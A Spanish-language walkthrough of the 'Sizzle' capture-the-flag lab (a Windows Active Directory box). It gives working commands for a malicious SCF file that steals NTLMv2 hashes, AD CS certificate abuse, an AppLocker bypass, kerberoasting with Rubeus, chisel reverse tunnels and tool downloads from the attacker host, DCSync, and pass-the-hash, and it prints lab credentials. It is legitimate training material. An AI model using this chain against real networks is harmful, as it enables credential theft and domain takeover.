Sizzle

Sizzle es un sistema operativo Windows con un entorno de Active Directory que presenta una dificultad increíble. Un directorio en el que se puede escribir en un recurso compartido SMB permite robar hashes NTLM que se pueden descifrar para acceder al Portal de servicios de certificados. Se puede crear un certificado autofirmado utilizando la CA y utilizarlo para PSRemoting. Un SPN asociado a un usuario permite un ataque kerberoast en el sistema. Se descubre que el usuario tiene derechos de replicación que se pueden utilizar de forma abusiva para obtener hashes de administrador a través de DCSync.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Sizzle.

nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.103 -oG allPorts

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.

nmap -sCV -p21,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001,49664,49665,49666,49669,49673,49690,49691,49693,49696,49708,49724,49743 10.10.10.103 -A -oN targeted -oX targetedXML

Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.

xsltproc targetedXML > index.html

python3 -m http.server 80

Accederemos a http://localhost y comprobaremos el resultado en un formato más cómodo para su análisis.

Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.

Verificaremos también a qué tipo de máquina nos enfrentamos a través de netexec.

ldapsearch -x -H ldap://10.10.10.103 -s base | grep defaultNamingContext

nxc smb 10.10.10.103

Procederemos a añadir la entrada en nuestro archivo /etc/hosts

catnp /etc/hosts | grep sizzle

Web Enumeration

Procederemos a acceder a https://sizzle.htb.local el cual contiene un GIF, aparantemente no contiene ningún metadato ni nada extraño.

Revisaremos las tecnologías que utiliza la aplicación web a través de la herramienta de whatweb.

whatweb https://sizzle.htb.local

Por otra parte, procederemos a realizar una enumeración de posibles directorios del sitio web.

gobuster dir -u https://sizzle.htb.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200

Procederemos a revisar si podemos hacer (Directory Listing) sobre los directorios que hemos encontrado. Verificamos que nos aparece mensaje de 403 Forbidden.

FTP Enumeration

Procederemos a enumerar el servicio de FTP a través del usuario anonymous, verificamos que podemos acceder correctamente pero no dispone de ningún directorio/archivo en el servidor FTP.

ftp 10.10.10.103

SMB Enumeration

Revisaremos si el usuario guest se encuentra habilitado y podemos autenticarnos al sevidor SMB. Verificamos que el usuario se encuentra activo y dispone de permisos READ sobre un recurso compartido nombrado (Department Shares).

nxc smb 10.10.10.103 -u 'guest' -p ''

nxc smb 10.10.10.103 -u 'guest' -p '' --shares

Verificaremos a través del módulo de (spider_plus) la estructura de los recursos compartidos, para ver si dispone de algún archivo interesante.

En este caso, vemos que hay archivos pero ninguno que nos pueda aportar información relevante.

nxc smb 10.10.10.103 -u 'guest' -p '' -M spider_plus

cat /tmp/nxc_hosted/nxc_spider_plus/10.10.10.103.json | jq

SCF File Attack for NTLMv2 Hash Stealing

Uno de los ataques más eficaces en redes SMB es el Hash Stealing utilizando un archivo SCF malicioso. Este tipo de ataque permite interceptar las credenciales NTLMv2 de usuarios conectados a recursos compartidos en un servidor vulnerable.

Antes de proceder a analizar el recurso SMB, lo primero es montar el recurso en nuestro sistema local. Esto nos permitirá explorar los directorios y sus permisos para comprobar si podemos escribir en alguno de ellos.

mkdir /mnt/shares

mount -t cifs -o username=guest,password=  '//10.10.10.103/Department Shares' /mnt/shares

cd /mnt/shares

ls -l

A través del sguiente comando, procederemos a enumerar todos los directorios para buscar si disponemos de permisos de Escritura sobre alguno de ellos.

Verificamos que hay un recurso llamado "Users/Public" que podríamos probar de realizar el ataque en este recurso.

for dir in $(ls /mnt/shares); do for subdir in $(ls /mnt/shares/$dir); do smbcacls "//10.10.10.103/Department Shares" "$dir/$subdir" -N | grep -i everyone | grep -i full > /dev/null && echo "[*] Directorio $dir/$subdir: Permisos de escritura"; done; done

Una vez montado el recurso SMB, procederemos a crear un archivo SCF malicioso que redirija las acciones realizadas sobre el recurso SMB hacia nuestro sistema. Este archivo malicioso permitirá interceptar las comunicaciones SMB y posteriormente robar los hashes NTLMv2.

[Shell]
Command=2
IconFile=\\10.10.16.5\smbFolder\test.ico
[Taskbar]
Command=ToggleDesktop

Una de las maneras que disponemos de realizar el ataque, es montando un servidor SMB en nuestra Kali para recibir el hash NTLMv2.

Para empezar, subiremos el archivo SCF malicioso en el recurso que podemos escribir (Users/Public) y con el servidor SMB montado, al pasar un tiempo vemos que recibimos el hash NTLMv2 del usuario "amanda".

smbserver.py smbFolder $(pwd) -smb2support

smbclient "//10.10.10.103/Department Shares/" -U 'Guest%'

cd Users/Public

put file.scf 

Otra de las maneras de realizar el ataque sin tener el servidor SMB montado en nuestro equipo atacante, es mediante el Responder, el cual recibirá el hash NTLMv2.

responder -I tun0 -v

smbclient "//10.10.10.103/Department Shares/" -U 'Guest%'

cd Users/Public

put file.scf 

Guardaremos el hash NTLMv2 en un archivo TXT y a través de la herramienta de hashcat, procederemos a intentar crackear el hash para obtener la contraseña en texto plano.

hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt

Shell as amanda

Primero, procederemos a validar si las credenciales obtenidas para el usuario amanda son válidas, y también investigaremos de qué recursos compartidos tenemos permisos.

Al realizar un escaneo de recursos compartidos SMB en la máquina objetivo (10.10.10.103), observamos que tenemos acceso de READ sobre el recurso compartido llamado CertEnroll. Este recurso es utilizado por los servicios de Active Directory para gestionar certificados, donde se almacenan las solicitudes, plantillas y configuraciones asociadas. Aunque tenemos acceso de solo lectura, podemos intentar aprovechar esta entrada para realizar alguna acción.

Con las credenciales amanda / Ashare1972, intentamos conectarnos al WinRM, pero descubrimos que la autenticación NTLM no está funcionando correctamente. A pesar de ingresar las credenciales correctamente, el sistema simplemente nos vuelve a solicitar la autenticación, indicando que probablemente esté configurado para requerir un mecanismo de autenticación más seguro.

nxc smb 10.10.10.103 -u 'amanda' -p 'Ashare1972'

nxc smb 10.10.10.103 -u 'amanda' -p 'Ashare1972' --shares

Al intentar acceder al servicio WinRM con las credenciales amanda / Ashare1972, nos encontramos con que la autenticación NTLM no funciona correctamente.

A pesar de ingresar las credenciales correctamente, el sistema simplemente nos vuelve a solicitar la autenticación, como si las credenciales fueran inválidas. Esto ocurre porque el servicio está bloqueado o configurado para requerir un mecanismo de autenticación más seguro.

evil-winrm -i 10.10.10.103 -u 'amanda' -p 'Ashare1972'

Generate Certificate and Key for amanda accessing /certsrv

Dado que la autenticación NTLM está bloqueada, decidimos investigar el recurso compartido CertEnroll para buscar un servicio alternativo que permita la autenticación. Al explorar el sitio web asociado, encontramos el directorio /certsrv/, que pertenece al servicio de Active Directory Certificate Services (AD CS).

Utilizamos el escáner gobuster para realizar un barrido del sitio web y verificamos que existe el directorio https://sizzle.htb.local/certsrv/:

gobuster dir -u http://sizzle.htb.local -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt -t 200

Intentamos acceder a https://sizzle.htb.local/certsrv/ con las credenciales de la usuaria ([e-mail]).

Verirficamos que logramos ingresar a la página de Microsoft Active Directory Certificate Services (AD CS).

En la página, observamos que se nos permite solicitar un certificado, eligiendo entre User Certificate o Advanced certificate request. Debemos seleccionar la opción de Advanced certificate request.

Procedemos a generar un Certificate Signing Request (CSR) con OpenSSL. Este CSR contiene información que enviaremos al servidor para obtener un certificado válido.

openssl req -newkey rsa:2048 -nodes -keyout amanda.key -out amanda.csr

Volvemos al sitio /certsrv/ y pegamos el contenido del CSR en el formulario de solicitud.

El servidor nos ofrece el certificado en formato Base64. Seleccionamos la opción de Download certificate para descargar el certificado correspondiente al usuario amanda.

Revisaremos que disponemos de los archivos CSR, KEY y CER de los certificados que hemos generado.

Ahora, con el certificado descargado, procedemos a autenticar al usuario amanda utilizando WinRM. Reemplazamos las credenciales tradicionales con el certificado, lo que nos permite acceder correctamente al equipo:

evil-winrm -S -c certnew.cer -k amanda.key -i 10.10.10.103 -u 'amanda' -p 'Ashare1972'

BloodHound Enumeration

Dado que disponemos de credenciales válidas de un usuario del dominio, procederemos a realizar una enumeración a través de BloodHound en buscar de vectores para elevar nuestros privilegios.

bloodhound-python -c All -ns 10.10.10.103 -u 'amanda' -p 'Ashare1972' -d htb.local --zip

Al enumerar en BloodHound, verificamos que hay un usuario que es Kerberoastable, por lo tanto, es susceptible a realizar un Kerberoasting Attack.

Initial Access

Kerberoasting Attack (GetUserSPNs) - [FAILED]

Dado que hemos visto que existe un usuario susceptible al Kerberoasting Attack, procederemos a intentar a realizar el ataque a través de la herramienta GetUserSPNs, verificamos que no nos reporta ningún resultado.

Esto es debido seguramente a que el Kerberos no se encuentra expuesto, deberemos de buscar otra manera de explotar este ataque.

impacket-GetUserSPNs -dc-ip 10.10.10.103 htb.local/amanda -debug 2>/dev/null

Kerberoasting Attack (Rubeus)

Dado que disponemos de acceso a la máquina víctima (Domain Controller), podemos de probar de realizar el Kerberoasting Attack a través de la herramienta de Rubeus.exe.

Procederemos a intentar subir el binairo del Rubeus.exe y en nuestro caso no nos permite la subida directamente con el comando "upload" que nos poporciona evil-winrm.

Probaremos de levantar un servidor web con Python y a descargar el archivo a través de IWR, verificamos que el binario se ha descargado correctamente en el equipo víctima.

python3 -m http.server 80

IWR -Uri http://10.10.16.5/Rubeus.exe -OutFile Rubeus.exe

Al intentar ejecutar el binario en la ruta (C:\Temp), nos aparece un eror indicando que se ha bloqueado la ejecución debido a una política, muy probablemente debido al AppLocker.

A través del siguiente comando, revisaremos la política del AppLocker y verificamos que hay una excepción en los directorios que se encuentran dentro de (WinDir).

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Otra de las maneras para evitar la restricción del AppLocker, es mediante las siguientes rutas que nos encontramos en el siguiente repositorio de GitHub. Generic AppLocker ByPasses

En nuestro caso, hemos optado por crear un directorio en (C:\Windows\Temp), moveremos el binario a este nuevo directorio creado.

Una vez obtenido el binario en este nuevo directorio, al realizar el ataque, verificamos que hemos conseguido el TGS (Ticket Granting Service) del usuario ([e-mail]).

./Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972

Performing a port forwarding to perform a Kerberoasting attack (Chisel && GetUserSPNs)

A continuación, veremos otra de las maneras efectivas de explotar este ataque mediante Port-Forwarding.

Dado que el puerto 88 (Kerberos) no se encuentra expuesto en el equipo víctima y con la herramienta de impacket-GetUserSPNs al principio no pudimos efectuar el ataque, el objetivo será realizar el Port-Forwarding del puerto 88 (Kerberos) y 389 (LDAP) del Domain Controller para que se encuentren accesibles desde nuestro equipo local de atacante.

Para ello, pasaremos el binario del chisel.exe al equipo víctima, configuraremos el chisel en sevidor en la máquina Kali y cliente en el equipo Windows, haremos que el Kerberos y LDAP sean accesibles por los mismos puertos pero desde nuestro equipo de atacante.

# Desde el equipo atacante
python3 -m http.server 80

# Desde el equipo víctima
IWR -Uri http://10.10.16.5/chisel.exe -OutFile chisel.exe

# Desde el equipo atacante
./chisel server --reverse -p 1234

# Desde el equipo víctima
./chisel.exe client 10.10.16.5:1234 R:88:127.0.0.1:88 R:389:127.0.0.1:389

Revisaremos que en nuestro equipo, los puertos 88 (Kerberos) y 389 (LDAP) se encuentran accesibles correctamente a través de chisel.

Pocederemos de realizar nuevamente el ataque mediante la herramienta de impacket-GetUserSPNs al localhost (127.0.0.1) y verificamos que ahora si hemos podido realizar el ataque desde la máquina Kali y hemos obtenido el TGS (Ticket Granting Service).

impacket-GetUserSPNs -dc-ip 127.0.0.1 htb.local/amanda -request 2>/dev/null

Al obtener el TGS; pocederemos a crackearlo con hashcat y verificamos que hemos logrado obtener la contraseña en texto plano del usuario [e-mail].

hashcat -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Validaremos que las credenciales de este usuario son válidas y de los recursos que tiene acceso dicho usuario.

nxc smb 10.10.10.103 -u 'mrlky' -p 'Football#7'

nxc smb 10.10.10.103 -u 'mrlky' -p 'Football#7' --shares

Privilege Escalation

Revisando nuevamente en BloodHound, verificamos que este nuevo usuario dispone de permisos de DCSync sobre el dominio.

Este permiso habilita al usuario a extraer los hashes NTLM de todos los usuarios del dominio, lo que facilita ataques como Pass-The-Hash, permitiendo el acceso a servicios y equipos sin necesidad de conocer las credenciales en texto plano de los usuarios del dominio, incluyendo a los usuarios que sean Domain Admins.

DCSync Attack (secretsdump)

Procederemos a realizar el ataque de DCSync Attack mediante la herramienta de secretsdump.

Verificamos que hemos logrado obtener todos los hashes NTLM de los usuarios del dominio, incluyendo las del usuario Administrator.

secretsdump.py -just-dc-ntlm htb.local/mrlky@10.10.10.103

Validaremos que podemos autenticarnos mediante Pass-The-Hash con el hash NTLM del usuario Administrator.

nxc smb 10.10.10.103 -u 'Administrator' -H 'f6b7160bfc91823792e0ac3a162c9267'

Procederemos a conectarnos al Domain Controller mediante la herramienta de wmiexec realizando Pass-The-Hash.

Verificamos del acceso correctamente y de la flag de root.txt.

wmiexec.py htb.local/Administrator@10.10.10.103 -hashes :f6b7160bfc91823792e0ac3a162c9267